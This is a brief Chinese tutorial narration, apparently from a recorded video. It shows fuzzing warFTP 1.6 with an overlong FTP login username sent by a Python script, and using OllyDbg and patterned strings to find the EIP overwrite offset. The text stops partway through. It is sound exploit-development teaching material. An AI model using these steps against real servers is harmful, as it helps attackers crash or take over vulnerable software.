动画介绍: 需要的工具 python OLLYDBG.EXE warFTP 1.6
先打开warFTP 然后用OLLYDBG.EXE加载
我们先用500A测试 用PUTHON写的程序
from ftplib import FTP ftp = FTP(’127.0.0.1’) s=’A’*500 ftp.login( s,’test’)
看到OLLYDBG下方的41414141错误了吧 证明程序存在问题
下面我们修改程序来具体定位吧 我们先定位百位数
修改 s=’A’*100+’B’*100+’C’*100+’D’*100+’E’*100
这里要重新启动WARFTP
看到下方的45454545了吧 所以我们的百位即45-41=4
下面我们再定位十位
修改s=’A’*400+’A’*10+’B’*10+’C’*10+’D’*10+’E’*10+’F’*10+’G’*10+’H’*10+’I’*10+’J’*10
这里出点问题我们重新加载
55555 不知道怎么停录了 我们接着来吧
看到下方的49494949了吧 所以我们的十位即49-41=8
下面我们再定位个位
修改 s=’A’*400+’A’*80+’ABCDEFGHIJ’
55555 不知道怎么又停录了 受不了了啊 接着定位个位吧 |